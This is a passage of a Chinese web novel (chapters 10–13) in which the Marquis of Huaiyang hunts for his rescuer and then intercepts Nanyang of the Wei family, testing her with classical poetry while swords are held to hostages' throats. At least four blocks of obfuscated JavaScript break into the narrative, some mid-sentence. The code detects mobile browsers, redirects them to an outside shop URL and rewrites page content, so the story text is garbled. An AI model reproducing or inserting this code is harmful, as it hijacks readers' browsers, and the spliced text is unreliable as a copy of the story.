萧承宴面无表情听着，手指搭在木扶手上，哒哒哒地敲。 明文焕安抚道：“萧侯稍安勿躁。只要小娘子还在镇子上，反复筛查，迟早能把人寻出——” “她在欲擒故纵？”萧承宴打断道。 明先生一愣：“这个……” “我已昭示全镇，寻一名水边见面的采桑女、采莲女，又加重赏。她必然知道我在寻她，却故意迟迟不现身。想来想去，唯一的可能便是欲擒故纵。”萧承宴的语气淡了下去。 “一匣子珠宝不够她的胃口，她想要更多。” “明先生，你说，这世上当真有施恩不图报之人？事了拂衣去，深藏功与名，仿佛上古之隐士？ ” 萧承宴的唇线在笑，眼里却毫无笑意。 “还是说，早知我身份，刻意谋划，引我关注，图谋更多？” 明文焕急忙起身：“萧侯，无需过分揣度人心啊！这世上施恩不图报的义士虽然少见，但也不能说一个没有——” “恰巧让我撞见了？” 琉璃灯光跳跃成片，映入眼底，萧承宴的眼睛在暗处幽幽发亮。 “我这人的运气向来不大好。也向来不怎么信‘天降救星’这套。” “她再不现身，就再不必现身了。急什么。等我慢慢地寻她。” 最新告示贴满了平安镇角落。 悬赏翻倍，重金寻镇上一小娘子。家里春日采桑、夏季采莲，曾与淮阳侯水边结缘。 小娘子自行现身，可领重赏； 左邻右舍有知情者，举报亦有重赏。 告示最后的末尾两句言语隐含威慑。 【此告示张贴三日。 逾期再寻，生死不论】 —— 平安镇外河边。 萧承宴坐在河岸的山坡高地上，两条长腿搭在陡峭山崖边，往下俯视。 他自己曾从这处连人带马摔下，滚压过山坡草地，压出一条长而可怖的痕迹。 时隔半个多月，额头裂伤恢复良好，晕眩的症状跟着缓解不少。 明文焕站在主上身边，一层层地去除纱布，露出纱布下的饱满天庭。 “告示贴满平安镇各处。三日过去，领赏的人来了几十个，正主依旧未寻到。” 萧承宴慢慢地道：“现在你们告诉我，人或许根本不在镇子上？” 狄荣挎刀站在主上身后，心塞。 平安镇人口并不多。一个大活人掘地三尺都寻不出，最大的可能，人不在镇子上。 但这个答案，显然不是主上想要的。 明文焕也很心塞。 他尽量把话说得委婉。 “一个来平安镇采桑采莲的年轻小娘子，必然住得不远。哪怕不是平安镇本地人口，或许，咳，人住在附近山中？ ” 家家户户挨个询问过了，小娘子当日采莲蓬的船是十个钱赁来的。 赁船的妇人绘声绘色描述道，小娘子年纪不大，应该及笄了，但绝对不超过二十岁。生得瓜子脸，大眼睛，皮肤白皙，个头不高。 不只是赁船的妇人，当日在黄家医馆几个凑热闹的好事妇人也见过那位小娘子。 妇人们异口同声道，小娘子面生，肯定不是镇上的人。镇子上的乡亲抬头不见低头见，生得这般标志的小娘子，怎会没有印象。 明文焕取出一张画像，放来主上面前。 “按照妇人们描述绘制的人像，可要张贴镇子各处？” 萧承宴接在手里，却并不去看。 随手揉成一团，手一松，画像便随着山风飘飘荡荡地飞远了。 “三日时限已过。” 萧承宴道，“急什么。有的是法子寻她。” “明先生说，她或许不在平安镇，而在附近山中？” 萧承宴的目光抽离险峻的山崖，改而眺望河岸两边郁郁葱葱占地广阔的山林： “放火烧山一圈，把山里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140631|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲着的人逼出来……” 明文焕心里咯噔一下。 放火烧山！ 放火烧山，确实是把人逼出山林最快的法子。但大火无情，谁也不能肯定寻到的是活人哪！ 狄荣倒是没太大反应，主上说的他都觉得对。 明文焕头皮有点发麻。 萧侯寻人不着，升起偏执之心。 不择手段，放火烧山。把恩人小娘子逼出山还好，万一……万一人没来得及逃出山呢？ 刹那间，明文焕冷汗都下来了。 绞尽脑汁琢磨如何把过于危险的话题转开，保住这片山，保住恩人小娘子性命无虞。 萧承宴却又自言自语道：“这一大片山烧尽，拦山寻人，至少三五日。” 狄荣才不管主上放火烧山的意图，当场耿直地算起日子： “不止。防止烧死山里的樵夫猎户，得提前至少五日封山。主上想烧尽这片山，至少得烧个三五日。防止山火蔓延去河边镇子，还得多加三五日的防御准备工程。再到处找跑下山的小娘子。前前后后——” 狄荣盘算了一下：“至少半个月吧！” 萧承宴的目光不悦地从远处山林收回：“等不了那么久。不可行。” 他的思绪极为跳跃，身边一文一武两个辅臣都跟不上。 萧承宴道：“京城出了点岔子。” 明文焕又一惊，“什么岔子？要紧不要紧？” 萧承宴说得轻描淡写，身边两个辅臣觉得天都塌了。 “京城驻军那边传出消息，圣上病倒，连续罢朝十日，文武百官无人能见天子。或许，圣上病得快不行了？” 狄荣：“……” 明文焕：“……” 萧承宴从怀里取出一张卷起的黄绸诏书，迎风展开。 这便是几个山阳郡官员收到的【京城密旨】了。 山阳郡收到的密旨，口吻严厉急迫，明确下令截杀淮阳侯，立功者重赏。 “要么，这封密旨是假造的。有人趁天子病倒的机会，蓄意谋害于我。” “也有可能，这封密旨是真的。重病的圣上不放心我……替下一任天子铺路，降下密旨，诛杀我于山阳郡。” 萧承宴意味不明地笑了笑，“你们觉得，哪个可能更大些？” “……”狄荣骂了句娘。 明文焕脸色都变了。 “封地不去了。” 萧承宴道，“密旨的事要尽快弄清楚。” “可惜手头还有两桩事未了。”他站起身来，惋惜地环视周围群山。 “第一，那小娘子至今未寻到。整片山烧一圈，等人下山。三五天还能等得，半个月等不得。” “等不得！”明文焕人都踉跄了一下。 “天子病重，事态不明，密旨隐患巨大！萧侯别惦记烧山了，即刻回京，打探清楚控制局面啊。” “急什么。”萧承宴淡淡道：“不急这一时半会。” “第二桩事，卫家二娘那边大意了。” 卫家走脱的二娘，当时车厢太黑没见着脸，听声音倒是又脆又亮，喊得他脑壳嗡嗡的，还趁黑连踩他两脚。 当时他没在意。一个内宅小女子，可能还不如树上掉下来的毛毛虫危险。 但事后回想，放她走脱，大意了。 “卫二娘放走几天了？” 萧承宴抱臂站在山风里，垂眸有所思：“你们说……现在返程，能不能追得上她？” 11. 第 11 章 放卫二娘走脱，大意了。 关键还是陆太守转交给卫二娘的书信。 卫家教养的女郎肯定识字，书信如果被卫二娘拆看过…… 萧承宴平淡地猜测：“人回京后，原文默写转交给她父亲永兴伯。山阳郡的流言捅出去，在京城闹出风波，我身上又多一个现成的把柄。” 明文焕的神色凝重起来。 陆太守没送出去的那封书信，他读过。 山阳郡太守陆澈，山阳郡本地的大族陆氏出身。 陆澈是典型的士人，行事谨慎低调。真假难辨的京城密旨，被陆澈放置一边，并未理会。 萧侯在山阳郡杀了一圈，凡跟谋害有关的人等全部拉去河边处死，尸身染得河水血红，查来查去，未牵连到陆澈这位郡守身上。 陆太守逃过一劫，但显然并不领情，对萧承宴的偏见深重如海。 委托卫家二娘送去京城的书信写得字字诛心。 落笔如刀锋，把萧承宴描绘成吃人饮血、无恶不作的怪物。 如果永兴伯卫家误信了陆澈的书信，上书朝廷，引来病重的天子暴怒追查…… 正如萧侯所说的，现成的把柄递去人手上，无异于雪亮匕首交给别人，拿匕首尖捅自己！ 明文焕拍案而起：“事态紧急！我们得快马拦住卫二娘子的车驾，免得生乱。” “山阳郡突然出现的山匪，也要往下追查！到底是真山匪，还是有人假冒山匪，趁萧侯出京就封地的契机，半道截杀萧侯，再推给山匪流寇？” 远远不止这些。 萧承宴追击山匪，附近几个镇子却同时流传起萧侯吃人的传言…… 乡民无知，以讹传讹。 但流言从哪里起源？值得深思。 萧承宴一哂。 知道他这趟行程的人可不少。 他这趟出京往封地，带上足足百辆大车的重礼，都是天子赏赐，辞不得。 车多，东西多，行程当然缓慢。 被有心之人趁机抓住机会，设下半路截杀的连环圈套。 第一波伪装成山匪，埋伏道边劫杀。 又下达真假难辨的密旨，第二次截杀。 地方官吏捧着密旨，往死里下黑手。 人吃米粮，马吃草豆。送入马厩的疯马草，引发战马狂躁，利用山阳郡的陌生地形，险些葬送他的性命。 他命大活了下来。 吃人的流言又传得铺天盖地，一不留神要传回京城了。 也算是环环为扣，好算计。 “萧侯，事有轻重缓急。”明文焕心思如电转。 “镇子搜寻小娘子的事可以放一放。先拨一路快马拦截卫二娘子。萧侯即刻回京探查根源。” “至于封地那边，哎，提起封邑，不得不说，圣上平日对萧侯信重啊！二十三岁的年纪裂土封侯，本朝除了萧侯再没第二人了。臣属还是觉得，密旨是假的……” “末将也觉得密旨是假的，有奸人蓄意谋害！”狄荣忍不住插嘴了。 狄荣高声嚷嚷：“主上说得对，封地先不去了，我们即刻回京，严查谋害之人的底细！” “京城和主上最不对付的就是齐王，肯定是齐王捣鬼，趁圣上病重的机会，传假密旨！” 萧承宴抬起右手，把至今层层包裹的纱布解开，垂眸打量掌心触目惊心的鲜红伤疤，笑了声。 “我的仇家多的是。去年镇压湘王叛乱，杀了多少？” “齐王志大才疏，这次连环截杀的套，不像齐王独自能办的。害我之人，要么不是他，要么不止他一个。” 萧承宴把纱布扔去风里，转身往山下走。 “镇子上继续张贴告示寻人。封地先不管，把辎重大车都扔了。全体即刻随我归京，快马拦截卫二娘。” 人走得干脆，狄荣愣了一下，骤然反应过来，大步往山下冲，边冲边吼： “拔营！全体拔营！抛下辎重，即刻出发！” 只剩下一个明文焕站在高地上，迎风凌乱。 全体拔营，即刻回京？封地那边不管了？上百车的辎重扔了？？ “都是天子赏赐的贵重家底啊！金饼玉简珊瑚树，还有整套的编钟礼器，全扔路边不要了？” 明文焕叹着气往山坡下走。 他早该猜到的。 萧侯眼里，金银珠玉礼器珍宝，哪有仇家重要…… —— 南泱在闷热的小车里囫囵睡了一觉，突然“啊”一声惊醒，慢腾腾起身，坐在车里半天没说话。 阿姆忍着翻江倒海的呕吐感，勉强问：“二娘子，怎么了？可是颠得身上难受？” 南泱摇头：“做了个不大好的梦。梦到淮阳侯追上来了……” 阿姆脸色顿时一变，“呸呸呸，童言无忌，呕！” 人一紧张，呕吐感更强烈了，阿姆扑去车窗干呕。 杨家车夫在前头紧张喊话：“辛嬷嬷撑住。马车不能停啊，淮阳侯的人说不定就追在后头！咱们再有个三四五天就到京城了！” “没事。”南泱宽慰地喊：“你只管赶车……呕！” —— 赶路第十二日。 肠胃里该吐的都吐完了，连带着感觉脑子都吐出去了。南泱领着阿姆，从早到晚坐在小车里颠来簸去，晃得脑袋发木。 京城越来越近，卫家主仆即将安全归京，杨家车夫很是欣喜，全身洋溢着即将卸货的轻松。 “最多两天入京畿地界。赶在七月中元节前把两位送回卫家，正好全家一起祭祖放河灯……卫二娘子，别吐了。要归家了，高兴点。” 南泱：“呕～～” 想想再过两日就要回本家，面对一张张熟悉而陌生的脸孔，吐得更厉害了。 阿姆心疼地一下下轻拍她的肩膀，仿佛她还是个需要哄睡的稚儿一般： “莫多想。等我们归家，主母问起话来，二娘子如实说便是。又不是我们自作主张私跑回京城，实在遇到淮阳侯那煞星……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140632|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 南泱晕晕乎乎地睡去了。 短暂而凌乱的梦里，她再次回到本家，见过嫡母。 京城卫家内宅长大的这些年，她见得最多的，除了贴身服侍的阿姆，便是嫡母派来的仆妇管事。 那几张面孔在她面前晃动，说话禀事总带出些和嫡母相似的似笑非笑的神情。 嫡母每个月见她五六次，按部就班地论几句家常，考问女红女学； 家中两个姐妹陪在嫡母身边，每个月见四五次，俱是不冷不热的。 长兄早早地搬去外院读书，见面的机会少，一两个月见一次。距离隔得远，待她这个二妹倒还算温和。 至于阿父，逢年过节才见一次，不提了。 阿娘……早病得认不出她来，也不提了。 车轱辘一个剧烈颠簸，南泱整个人弹跳起来几寸，硬生生从梦里颠醒。 “车夫郎，行慢点。我们快到京畿了，不用赶这么快。” 杨家车夫扭身往后看，表情跟见鬼似的，说话都不利索了。 “后面、后面！许多快马追赶我们……” 身后传来一阵狂风暴雨般的马蹄声。 南泱坐车这些天晕得眼睛发花，挑开帘子，难以置信地回望良久。 暮色里出现许多黑衣黑靴的健壮轻骑，仿佛黑色山洪从身后铺天盖地的涌上来，小车被淹没在洪水里。 冲去前方的轻骑又掉头往回冲，和马车快速交错的刹那间，南泱模糊的视线里出现一道道的残影。 轻骑们看清了车里的人，许多个嗓音同时高喊：“一老一少，主仆二人！” “车里的是不是永兴伯府，卫家女郎！” 杨家车夫颤声喊：“你们、你们又是谁？” 无人搭理他。 披甲横刀的高大将军赶来车边，刀鞘掀开帘子往里看一眼，高喝：“找到卫二娘子了！去个人，回禀主上！” “得令！”一匹快马急奔回来路，显然去“回禀主上”了。 杨家车夫颤声问：“你可是狄将军？你家主上是淮阳侯？既已放我等离开，为何又、又穷追不舍？！” 将军掀开头盔，眉上一道疤，果然正是狄荣。 “小车跑得挺利索，差点让你们直入京城，我们快马赶了六天才追上——扔下去。”狄荣道。 南泱屏息听车外说话动静，还在想，扔什么下去？ 前方砰地一声，杨家车夫被拎小鸡似的拎起，扔去地上，滚了五六圈才停下。 南泱当即震惊了。 ……这似曾相识的场面…… 等等，驾车的车夫被扔出去了，马还在跑……？ 马儿惯性奔跑出七八丈，果然又开始跑歪，小车歪歪斜斜直奔路边土沟。 “……啊啊啊啊！！” 阿姆崩溃地大喊：“车！车又要翻了！ ” 南泱麻木地抓紧木窗。这种离谱的事为什么会让她碰上第二回？ 一趟路连翻两回车？！啊？？？ 12. 第 12 章 砰——！ 车里的人撞得七荤八素，眼冒金星。 小车半个车身陷进土沟，居然奇迹般地没翻。 几个健壮轻骑从各方向同时扯住马车缰绳，小车半边轱辘朝天，歪歪斜斜地卡在土沟中央。 车身一震。 曾经伪装杨家车夫、把卫家主仆深夜骗上马车的那位人高马大的亲兵跳上车来，坐在赶车位置。 亲兵回身憨厚一笑： “主上吩咐小人看好车。卫二娘子放心，车没翻。” 南泱扶着车窗，脸色发白：“……呕！ ” 运气不错，车没翻，只撞吐了。 谢谢你家主上萧侯全家。 ……只敢在心里骂骂。 短短刹那，淮阳侯帐下的轻骑仿佛黑色潮水般围拢过来，把半边轱辘朝天的小车围得水泄不通。 南泱和阿姆互相搀扶着，手软腿软地从小车里爬出土沟。 感觉身前身后都是马蹄声，四面八方都是淮阳侯的人。 其实细数起来，只有三四十骑而已，数目并不算多。 但马是跟和人差不多高的膘肥体壮的战马，马上俱是披甲精壮轻骑。 南泱和阿姆的个头都不高。 几十条巨大的阴影从上方投射下来，卫家主仆两个被包围在战马圆圈正中，正面直对的压迫感，仿佛头上顶着几十个炙热太阳。 阿姆几乎要被压垮了，哑声道：“敢问、敢问，各位……”半天没把话问齐全。 南泱只好接着问下去：“敢问各位，追我们做什么呢？萧侯后悔放走我们主仆了？” 正好狄荣的马转到南泱面前，南泱又问一遍： “狄将军？” 狄荣的表情有点复杂。 这还是他头一次在明亮日光下看清南泱的长相。 卫家这位送来乡下养病的二娘，据说十六了？ 怎么生得小脸小身板的。这个头，当真及笄了？？ 他们一帮人高马大的精锐轻骑，坐在马背高处，披甲握刀，把卫家主仆堵在包围圈里……像在欺负孩子。 狄荣把长刀挂回马鞍，拨马走开几步。 “分几个人，把卫家二娘看住了，等主上来处置。” 马车还卡在土沟里，南泱无处可去，自知跑不了，老老实实蹲在土沟边上。 天色很快全黑下去。 几个火堆点亮，将士们熟练地搭木架，架锅煮水，干粮野菜混在一起扔进锅里。旷野弥漫着煮熟的菜糜粥的香气。 自从锅子架起煮水，阿姆的眼神便逐渐惊恐。 人强忍着没出声，但眼珠片刻不离煮锅，瞪得几乎脱眶。 南泱也目不转睛盯着几个锅瞧。 看清楚了，悄声跟阿姆说：“干粮野菜粥，没肉。” 这边悄悄话才落地，只见狄将军大步走近一个锅面前，掀开热腾腾的锅盖，取出一片肉脯放进锅里。 肉香弥漫旷野。 阿姆的表情瞬间发白，旁边绑着的杨家车夫脸色惨青。 两人都是一副快吐出来的模样。 阿姆声线颤抖：“放进锅里的，是、是什么肉？” 南泱认真地探头打量：“红色的长肉条，猪肉？或许是羊肉？” 阿姆快要昏厥了：“一定是淮阳侯故意给我们的下马威！那肉，是不是我们认识的人……是不是杨县令？！” 杨家车夫口吐白沫昏死过去。 狄将军对这边的揣测毫无察觉，木勺舀出两大海碗的肉糜野菜粥，热腾腾地捧在手里，挨个放在卫家主仆面前。 “你们那么小的车，跑那么急！害我们一路追得不省心。肉带得不多，你们女人先吃。” 两个大碗砰地撂在面前，肉香弥漫，红色肉糜在白粥当中若隐若现， 阿姆浑身剧烈一抖，两眼翻白，不声不响地往后倒。 南泱赶紧把阿姆扶住，连同昏倒的杨家车夫，并排平放地上，挨个猛掐人中。 狄将军瞧见这边的动静还很纳闷。 “刚才还好好的，怎么一转眼昏了两个？夏天天热就是容易中暑。赶紧喂点汤汤水水，吃点肉。” 说着捧起大碗往南泱手里塞。 南泱连连推拒：“不用不用，狄将军，把碗放下。放下还好点。” 狄将军坚持不肯放。 说话间阿姆悠悠醒转，睁眼便看到一大碗热腾腾的肉糜杵在面前。 狄将军亲自捧着碗，面无表情把碗往阿姆手里塞，语气不容拒绝： “愣着干嘛，快吃！服侍你家小主人也吃！整碗吃完，萧侯才好问你们话。” 阿姆不声不响地翻起白眼，人又倒下去。 南泱：“……” 南泱头皮发麻，拉扯阿姆的手臂也发麻，表面虽然还勉强维持着平静，但心里的崩溃已经翻江倒海。 “杨县令……” 不会真被你们杀了？做成了肉脯？还逼迫她们主仆吃？ 这种凶残手段是当前朗朗乾坤的世道能有的事吗？？ 你们萧侯他，看长相也是人模人样的，不像穷凶暴戾的人间恶鬼啊。 南泱盯着红红白白的肉糜粥，声线有点发抖： “杨县令他——” “杨县令在后头，跟主上的车一起。” 狄荣对眼前发生的的无声崩溃一无所知，眼看南泱手里的粥碗要翻，眼疾手快把粥碗抢回来，带点惊讶神色打量南泱。 卫二娘子长得生嫩，人倒是机敏，居然猜到主上会带着杨县令回京？小瞧她了。 “主上带着杨县令马上到。” 狄荣对面前这位“机敏”的卫二娘升起几分警惕，把粥碗往前一递： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140633|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃啊！弟兄们嘴里省下的肉脯，你们一个个都不吃？不吃我拿回去给弟兄分了。” 南泱张了张嘴，又闭上。 “……什么肉？” “上等的风干羊肉腿！” “……”南泱哑然无言地把粥碗抱来面前，扶起昏昏沉沉的阿姆，喂了阿姆几勺稀粥。 自己默默干掉了半碗。 半个时辰后，天幕黑透，星垂野阔。 身后黑魆魆的夜色里又传来快马奔腾的马蹄震动声响。 淮阳侯到了。 上百骑战马仿佛狂风暴雨刮过旷野，从南泱身前呼啸而过，卷起满地烟尘。双马拉的华丽大车在夜幕后方缓缓显出身形。 捧着粥碗被拍了满脸沙子的南泱：“……” 她还没吃完呢？ 正主既然出面，谁也顾不上吃粥了。 南泱捧着碗，略带紧张，目光紧盯夜色里从后方现身的双马华丽大车。 淮阳侯行事莫测，先放她们走脱，又一路疾行追上她们的小车。 虽然不知为何原因，但她们入京前被拦截，今晚只怕不能善了。 淮阳侯他——他不在车里。 双马大车里露出杨县令颠得半死不活的脸，人趴在车窗：“呕～～！” 众轻骑仿佛暴雨黑云过境路边。 看守她们的几位轻骑从地上跳起身，往战马烟尘急卷过去的前方大喊： “主上！”“见过主上！” 南泱吃惊地转过脸去。 前方目力所及的道路尽头，勒停一匹高大黑马。马上骑手的相貌看不清晰，夜色下拢住缰绳，显出宽肩蜂腰的精悍身形，马鞍边挂一把长刀。 狄将军不知何时也纵马过去了。 停在那匹健壮黑马面前，小声嘀咕几句什么，抬手往她这边一指。 南泱：…… 背后说什么坏话呢狄将军？ 你的长相看起来不像进谗言的奸臣呐！ “喏，土沟边坐着的小娘子。” 狄荣压低嗓音道：“那就是卫家二娘。别看长得小，今年十六了。” “卫家二娘心思机敏得很。看我一眼，张口第一句便问起杨县令。她怎么猜出我们带着杨县令进京的……” 明文焕从后头走近，正好听到最后两句，插嘴道：“听起来是个伶俐人啊。” 萧承宴把马鞭抛给亲兵，笑了声，“伶俐点好。本侯就喜欢跟伶俐人打交道。” 初秋旷野响起男子低沉的嗓音： “琉璃灯全点上。” “把躲躲藏藏的卫二娘子带出来，照亮堂点。” “让本侯看看卫二娘子人有多伶俐，身上到底藏几分本事。” 南泱捧着粥碗，莫名其妙被八盏琉璃灯围在当中，从风中乱舞的发丝到脚下沾泥的鞋袜，照了个透亮。 13.第 13 章 炽亮的八盏琉璃灯光映照出一张清丽动人的少女面庞。 额发凌乱，鞋袜沾泥，在土沟里蹲久了，白净的脸颊上一道灰一道黑的，在灯光下纤毫毕现。 瓜子脸，圆眼，窄肩。微微下垂的眼尾，显得格外无辜。 南泱被灯光晃得睁不开眼，抬手遮挡亮光，耳边又听到淮阳侯开口说话。 似曾相识的男子嗓音道：“胆子不小。让你动了吗？” 南泱：“……” 她只好把眼睛闭上，原地站好，像开蒙的学生听夫子训话，问什么答什么。 过来问话的是淮阳侯帐下的明先生，口吻倒是和气。 “请问卫二娘子，今年年岁几何？” “十六岁。” “生辰几月？” “二月。” “年头的生日？年纪不算小了。为何不在京城卫宅待嫁，却被送来平安镇？” “病了，送来乡下宅子养病。” “什么病？” 南泱迟疑少顷，闭眼如实答：“阿父疑心我身上疯病发作，怕害了家里姐妹，挪来乡下养病。” 对面意外地沉默片刻。 “疯病？”接话的换成了淮阳侯。 这两个少见的字眼，仿佛勾起某种有趣的意味，对方反复在唇齿间念了两遍。 “怎样的疯病？” 南泱迟疑一阵。提起疯病就绕不过发疯的阿娘。但她并不怎么想把阿娘在卫家发疯的过程讲述给不相干的外人听。 她剃掉细枝末节，只讲主干，从头到尾两句带过。 “去年秋冬，我在家里发了脾气。阿父疑心我身上的疯病发作，赶在年前把我送来乡下。就这样。” “就这样。”萧承宴饶有兴味地重复一遍。 “女儿在自家发了一通脾气，父亲便疑心女儿疯病发作？是你自己有疯病，还是你父亲永兴伯有疯病？听着不怎么像实话。” 炽亮灯光照在脸上，晃得眼前一片白茫茫。南泱睁开眼又闭上，老老实实背着手： “是实话。从前我在家里不怎么发脾气的，偶尔发一次脾气，把阿父吓到了。阿父觉得我不是中邪就是发病，发病的可能大一点。” 耳边一声嗤笑，“听着像个小可怜。也不知是真可怜，还是故意在本侯面前装可怜。” 更难听的闲话南泱都听过，这句算不上什么。 她嘴上不吭声，心里嘀咕：说谁可怜呢，我不可怜，你才是小可怜。跑马差点摔死，才半个月又上马狂奔，身上伤养好了吗…… 身后的阿姆却爆发了。 “何必笑话二娘子！外人哪知道二娘子在卫家内宅过得艰难！” 阿姆红着眼眶就想冲上来，哪里冲得过人墙，被拦在外头，激动地声线不稳。 “二娘子没有疯病！二娘子的生母也不是天生的疯病，是被磋磨得发了疯！他们也想把二娘子逼疯！” “二娘子小小年纪硬撑下来了。萧侯，如你这般万人仰望的人上人，何必拿我家二娘子取笑呢！” 南泱被灯晃得睁不开眼，耳边只听到噗通闷响，阿姆跪倒在不远处磕头：“二娘子活这么大不容易！” “求萧侯高抬贵手，放我家二娘子一条生路！” 耳边啧一声，淮阳侯道：“吵得我头疼。扔出去。” 闷声响起，人不知被扔去了哪处。南泱吃惊地回身：“阿姆！” “跑什么跑？回来！” 萧承宴被吵得头疼，摔伤至今未完全痊愈的脑壳嗡嗡作响，按揉着太阳穴，带几分戾气下马，走过亲兵人墙。 “再敢动一下，本侯给你看一场好戏。” 取过一盏琉璃灯，在南泱面前晃了一晃。 面前的少女乖巧闭眼，原地动也不动地等待问话。 那句饱含威慑的【看一场好戏】，具体威胁内容压根没机会说出口。 萧承宴停步打量。 远处还不觉得，走近了便察觉出异样。 十六岁的女郎不算小了，怎么个头这么矮？卫家怎么养女儿的？他一只手能拎起来俩。 萧承宴举灯的手臂放低几分，灯光笔直，把少女面容上的表情照得清楚。 好个乖巧表情。 五官柔和，动作温吞，外表不怎么像个精明伶俐人。 在他面前装样的人多了去了。 萧承宴看了一会儿，不动声色问，“家里可有教诗书？” “有。”南泱如实道：“家里请的女先生。自小学女学，女诫。通读了千字文，劝学篇，诗经三百首。” “字写得怎么样？” “……尚可？” 萧承宴意味不明地笑了下，是个自小读书习字的女郎。 表面瞧着乖巧有余、伶俐不足，谁知是不是在藏拙呢。 话锋突然一转，“看看你的字。” 南泱手里被塞进一支笔，当场写字。 八盏灯光被挪走七盏，只留下一盏照明。神龙见首不见尾的淮阳侯……站在她背后。 从肩头后方，俯视她握笔的手。人几乎贴在后背上，陌生的呼吸喷在她的后脖颈，后颈衣领下露出的小片白皙肌肤迅速浮起一层鸡皮疙瘩。 南泱看似镇定地握笔待命，小指细微蜷了蜷。 “七月流火。”身后念了半句。 南泱提笔写：【七月流火。】补齐下句：【九月授衣。】 正要放笔，身后沉沉道：“让你停了吗？” “……” 南泱哑然往下写：【七月流火，九月授衣。一之日……】 后面那个‘觱’字冷僻，会念不会写。她十岁就没去学堂了，冷僻字不记得几个。 笔尖在纸面停下的感觉很危险……南泱飞快画了个圈，跳过不会写的‘觱’字，补完全句： 【一之日ｏ发，二之日栗烈。无衣无褐，何以卒岁。】 小声道： “当中有个字忘了。” 身后平淡唔了声。 这位长相乖巧玲珑的卫二娘的字，只能说横平竖直，比狗爬好一些。 至于记性么。 一整篇《七月》都默不全，怎么看都不像个伶俐人。 但真正的伶俐人，会装傻。 身后话锋蓦地一转：“你那乳母很是忠心。想必你们主仆相依为命，情深谊重了？” 南泱点头承认，“还请萧侯高抬贵手，放过阿姆。我——” 她犹豫了一下。淮阳侯在高地跑马几乎摔死在水边，拖上岸时人已昏迷不醒，显然没认出她来。 但水里把人扇昏的那一巴掌，对方可是清醒地挨下了。不可能不记得。 一个年轻封侯的天潢贵胄，只怕这辈子没挨过巴掌。如果坦白了水边的事，对方会报恩呢，还是当场报仇呢…… 南泱默默闭上了嘴。 多一事不如少一事。不说可能没事，说了多半有事。 ……大部分时候她的预测是对的，但也并不总对。 比方说现在。 她闭嘴专心写字，背后却幽幽地道，“你那乳母现在还活着。但能不能活到明天早上，就得看你的本事了。” 南泱：……？？ 阿姆被“请来”了。 这几天阿姆晕车吐得厉害，刚才为了维护南泱激烈爆发一场，抽干了浑身力气，站得歪歪斜斜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144212|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 杨县令也晕车。双马大车里颠得七荤八素，在路边吐个稀里哗啦，手软脚软地刚站起身，也被拎到人群前头。 两把冰凉长刀，分别横在阿姆和杨县令的脖子上。 阿姆脸色惨白，杨县令脸色铁青。 南泱震惊地盯着两人脖子上的刀锋反光。 淮阳侯依旧在她身后踱步。似乎觉得面前的场景很有趣，尾音带出点愉悦意味。 “卫二娘的字，只能说比狗爬好一些，不足以入眼。” “下面考考学识。” “只考诗经。本侯说上句，卫二娘对下句。卫家乳母和杨县令能不能活到明天早上，看卫二娘的背书本事。” 南泱：“……” 本能地往后背手，做出学堂被点名默诵的姿势。 身后悠悠地道：“高山仰止。” 这是诗经名句，南泱绷紧的心弦放松三分，即刻接上：“高山仰止，景行行止。” “既明且哲。” “既明且哲，以保其身。“南泱飞快道。 她答得快，身后接得更快，“夙夜匪解。” “夙夜匪解，以事一人。” “人亦有言。” “人亦有言。柔则茹之，刚则吐之。唯仲……” 下面那句死活想不起了。 南泱这边卡了壳，“唯仲……唯仲……” 那边阿姆的肩头微颤，痛苦地闭上了眼。杨县令的脸色更加难看了。 “唯仲山甫！” 杨县令喝道。 南泱精神一振，接著念下去：“唯仲山甫！柔亦不茹，刚亦不吐——” 身后忽地打断道：“古之禽兽。” 南泱本能地接下去：“古之禽兽，尚不食同族幼子……啊！”念到这里突然感觉不对，倏地闭嘴。 已经晚了。 身后伸来一只骨节分明的手，捏住她小巧下颌，发力往上一抬。 南泱的脸笔直对上琉璃灯光，黑夜里灼灼刺目，她被白光晃得猛闭上眼。 耳边传来淮阳侯低哑而愉悦的笑： “——抓到你了。” 不远处的阿姆露出茫然且困惑的目光。 